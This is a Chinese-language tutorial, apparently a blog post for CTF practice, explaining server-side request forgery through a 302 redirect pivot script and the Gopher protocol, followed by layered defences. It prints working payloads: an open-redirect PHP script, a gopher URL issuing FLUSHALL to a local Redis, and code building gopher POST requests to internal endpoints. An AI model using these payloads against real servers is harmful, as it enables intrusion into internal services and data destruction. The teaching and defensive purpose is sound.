别再只记Payload了！从302跳转原理到Gopher协议，彻底搞懂SSRF本地请求伪造
从302跳转到Gopher协议：SSRF攻击中的协议魔法与防御实践
当你在CTF比赛中遇到SSRF题目时，是否曾疑惑过为什么一个简单的302跳转能成为攻击利器？又是否好奇过那些看似过时的协议如何在现代Web安全中"复活"并造成严重威胁？本文将带你深入探索SSRF攻击中两个关键元素——302状态码和Gopher协议，揭示它们如何协同工作完成本地请求伪造。
1. 302跳转：SSRF攻击中的隐形桥梁
HTTP状态码302在正常Web开发中用于临时重定向，但在SSRF攻击场景下，它却扮演着"协议转换器"的关键角色。理解这一点需要从服务器端请求伪造(SSRF)的基本原理说起。
SSRF的核心问题在于应用程序接受用户提供的URL并代表用户发起请求。当攻击者能够控制这个URL时，就可能诱使服务器向内部系统发起恶意请求。而302跳转在这里的作用可以概括为：
- 协议中转站：许多应用会限制直接使用非常规协议(如gopher://)，但允许http://。通过302跳转，可以先将请求指向一个合法的HTTP端点，再由该端点返回302响应将请求重定向到目标协议
- 绕过黑名单过滤：即使应用对输入URL进行了协议检查，302跳转后的目标URL通常不会被二次验证
- 隐藏攻击载荷：将恶意构造的协议请求隐藏在跳转之后，增加防御难度
实际攻击中，攻击者会先准备一个类似302.php的跳板脚本：
<?php header("Location: ".$_GET['url']); // 无条件跳转到url参数指定的地址 ?>当服务器访问这个脚本时，会立即跳转到攻击者构造的Gopher协议URL，而许多SSRF防御机制在这一步已经失去了防护能力。
2. Gopher协议：被遗忘的协议武器库
诞生于1991年的Gopher协议比HTTP还要古老，这个原本设计用于文档检索的协议在现代Web中几乎绝迹，但它的一些特性却使其成为SSRF攻击的理想载体：
| 特性 | HTTP协议 | Gopher协议 | SSRF利用优势 |
|---|---|---|---|
| 协议灵活性 | 严格的结构化请求 | 可发送任意TCP数据流 | 可构造非HTTP协议的通信 |
| 默认端口 | 80/443 | 无默认端口 | 可自由指定任意服务端口 |
| 协议支持 | 仅HTTP | 可模拟FTP、SMTP等 | 攻击面大大扩展 |
| 请求格式 | 固定头部格式 | 自由格式，只需CRLF分隔 | 可精确控制字节流 |
Gopher协议的独特威力在于它能构造几乎任何基于TCP的协议通信。例如，以下是一个通过Gopher协议发送Redis命令的示例：
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a这个URL会连接到本地的Redis服务(默认端口6379)，并发送FLUSHALL命令清空数据库。关键在于Gopher允许我们精确控制每个字节，包括换行符(%0d%0a)等特殊字符。
3. 实战：构造Gopher协议的POST请求
让我们回到原始问题：如何通过SSRF利用Gopher协议发送POST请求？这需要理解HTTP POST请求的原始格式以及如何用Gopher协议精确重现它。
一个典型的HTTP POST请求原始数据如下：
POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d93819c4c1a18dc606dc5c6486f77227要将这个请求通过Gopher协议发送，需要：
- 将整个请求转换为一行，用
%0d%0a表示换行 - 对特殊字符进行URL编码
- 添加到Gopher URL的路径部分
构造过程的关键步骤：
# 原始POST请求 request = """POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=d93819c4c1a18dc606dc5c6486f77227""" # 替换换行符 gopher_data = request.replace("\n", "\r\n") # URL编码 gopher_data = urllib.parse.quote(gopher_data) # 构建Gopher URL gopher_url = f"gopher://127.0.0.1:80/_{gopher_data}"最终生成的Gopher URL需要经过多次URL编码才能安全通过302跳转传递。这也是为什么在实际攻击中会看到三重编码的payload：
gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%252520%25252Fflag.php...4. 防御策略：多层次的SSRF防护体系
面对利用302跳转和Gopher协议的SSRF攻击，防御需要分层实施：
网络层防护
- 出站流量限制：禁止服务器向内部敏感IP段发起请求
- 协议白名单：只允许HTTP/HTTPS协议
- 端口限制：禁止访问非Web标准端口(80,443等)
应用层防护
- 跳转验证：对302跳转后的目标URL进行二次验证
- 输入过滤：不仅检查初始URL，还要解析最终跳转目标
- DNS重绑定防护：验证请求IP与解析IP的一致性
代码层最佳实践
// 安全的URL获取方式 $url = parse_url($_GET['url']); if(!in_array($url['scheme'], ['http','https'])) { die('不支持的协议类型'); } if(filter_var($url['host'], FILTER_VALIDATE_IP)) { if(is_internal_ip($url['host'])) { die('禁止访问内部IP'); } }运维监控
- 记录所有外部请求的日志
- 监控异常请求模式(如大量302跳转)
- 定期更新已知攻击模式的规则库
在CTFHUB等实战环境中练习SSRF题目时，理解这些底层原理远比记忆payload有价值。真正的安全工程师需要知道攻击为何能成功，才能设计出有效的防御方案。